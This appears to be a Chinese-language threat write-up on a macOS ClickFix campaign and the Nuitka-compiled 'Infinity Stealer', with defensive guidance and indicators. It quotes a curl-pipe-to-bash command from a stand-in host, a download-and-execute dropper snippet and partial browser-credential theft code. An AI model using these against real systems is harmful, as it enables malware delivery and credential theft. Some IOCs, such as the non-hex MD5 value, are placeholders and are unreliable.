新型macOS窃密木马技术解析:Nuitka载荷与ClickFix攻击链

一、攻击背景与核心发现

近期安全研究机构披露首例针对macOS系统的ClickFix攻击活动,新型窃密木马Infinity Stealer通过伪造Cloudflare验证页面诱导用户执行终端命令,实现多阶段载荷投递。该攻击首次将Windows平台成熟的ClickFix技术移植至macOS环境,标志着攻击者对macOS安全生态的认知升级。

关键技术特征

  1. 攻击入口:伪造Cloudflare安全验证页面
  2. 载荷编译:Nuitka将Python脚本转换为原生二进制
  3. 传播方式:终端命令执行+多阶段载荷释放
  4. 数据窃取:浏览器凭证、钥匙串、加密货币钱包等敏感信息

二、多阶段攻击链技术拆解

2.1 初始感染阶段:社会工程学诱骗

攻击者通过钓鱼网站展示伪造的Cloudflare验证页面,提示用户”验证浏览器兼容性”。当用户点击”立即验证”按钮时,页面通过JavaScript动态生成终端命令:

  1. # 伪造的终端命令示例(实际攻击中会混淆字符)
  2. osascript -e 'tell app "Terminal" to do script "curl -s http://malicious[.]site/stage1 | bash"'

该命令利用macOS的osascript工具绕过用户确认直接打开终端,并执行远程下载的Bash脚本。这种技术显著降低了用户警惕性,相比传统直接下载恶意文件的方式更具迷惑性。

2.2 第一阶段:Bash投放器执行

解码后的Bash脚本包含以下关键操作:

  1. 环境检测:检查系统版本、安全工具进程(如Little Snitch)
  2. 防护绕过:通过csrutil disable尝试关闭SIP(系统完整性保护)
  3. 载荷释放
    1. # 典型载荷释放代码片段
    2. STAGE2_URL="http://malicious[.]site/payload.bin"
    3. curl -o /tmp/.update_helper $STAGE2_URL
    4. chmod +x /tmp/.update_helper
    5. /tmp/.update_helper --c2-server=127.0.0.1
  4. 持久化设置:创建LaunchAgent配置文件实现开机自启
  5. 自删除机制:通过rm -rf $0清除初始脚本

2.3 第二阶段:Nuitka编译载荷

Bash脚本下载的二进制文件实为Nuitka编译的Python加载器,具有以下特性:

  • 反逆向设计:去除Python解释器特征,混淆函数调用关系
  • 动态解密:运行时解压嵌入的Python字节码
  • 内存执行:避免在磁盘留下可检测的.pyc文件
  • C2通信:使用HTTPS协议与远程服务器交互,数据包经过AES加密

2.4 最终窃密阶段:Python 3.11窃密程序

解压后的Python程序实现以下功能模块:

数据收集模块

  1. # 示例:浏览器凭证窃取逻辑
  2. def steal_browser_creds():
  3. browsers = ['Chrome', 'Firefox', 'Safari']
  4. for browser in browsers:
  5. if browser == 'Chrome':
  6. login_db = os.path.expanduser('~/Library/Application Support/Google/Chrome/Default/Login Data')
  7. # 使用sqlite3直接读取加密的凭证数据库
  8. # 实际攻击中会调用系统钥匙串API解密

反检测机制

  1. 环境感知:检测虚拟机、沙箱环境特征
  2. 行为模拟:插入随机睡眠间隔(2-10秒)
  3. 流量伪装:将C2通信伪装成正常HTTPS流量
  4. 进程注入:尝试注入系统进程隐藏恶意行为

数据外泄流程

  1. 压缩窃取数据为ZIP格式
  2. 分片上传至对象存储服务(攻击者控制的合法账户)
  3. 通过Telegram Bot API发送完成通知
  4. 服务端自动破解弱密码凭证

三、防御体系构建建议

3.1 终端防护强化

  1. 命令执行管控

    • 限制osascriptcurl|bash组合的使用场景
    • 部署终端行为监控工具(如某终端安全产品)
  2. 持久化检测

    1. # 检测异常LaunchAgent配置
    2. ls -la ~/Library/LaunchAgents/ | grep -v "com.apple."
  3. 内存防护

    • 启用XProtect内存扫描功能
    • 部署行为检测EDR解决方案

3.2 网络流量监控

  1. 异常通信检测

    • 监控非浏览器进程的HTTPS流量
    • 识别异常的User-Agent字符串
  2. DNS安全

    • 部署DNS过滤系统阻断已知恶意域名
    • 启用DNSSEC验证防止域名劫持

3.3 应急响应流程

  1. 隔离感染设备:立即断开网络连接
  2. 内存取证:使用LiME等工具提取内存镜像
  3. 日志分析:重点检查以下日志源:

    • system.log中的终端启动记录
    • authorization.log中的权限提升事件
    • install.log中的软件安装记录
  4. 系统恢复

    • 使用Time Machine备份恢复(需确认备份未被污染)
    • 重新安装系统并从可信源恢复数据

四、攻击指标(IOCs)

指标类型 示例值 检测建议
恶意域名 malicious[.]site DNS日志查询+威胁情报匹配
文件哈希 MD5: a1b2c3d4e5f6g7h8i9j0k 终端文件完整性监控
C2 IP 123.45.67.89 防火墙出站规则限制
Telegram Bot ID @InfinityStealer_bot 网络流量内容分析
LaunchAgent路径 ~/Library/LaunchAgents/com.update.plist 定时任务扫描工具检测

五、技术演进趋势分析

此次攻击活动反映出三个重要趋势:

  1. 跨平台攻击工具化:攻击者复用Windows攻击技术框架,通过修改操作指引快速适配macOS
  2. 编译技术滥用:Nuitka等合法开发工具被恶意利用,增加静态检测难度
  3. 云服务整合:攻击者利用合法云存储作为中转站,提升数据外泄可靠性

安全团队应建立跨平台威胁情报共享机制,重点关注开发工具的恶意使用场景,并加强终端与网络的协同防御能力。对于开发者而言,需严格遵循最小权限原则,避免在终端中直接执行网络下载的脚本,同时定期审计系统中的持久化配置项。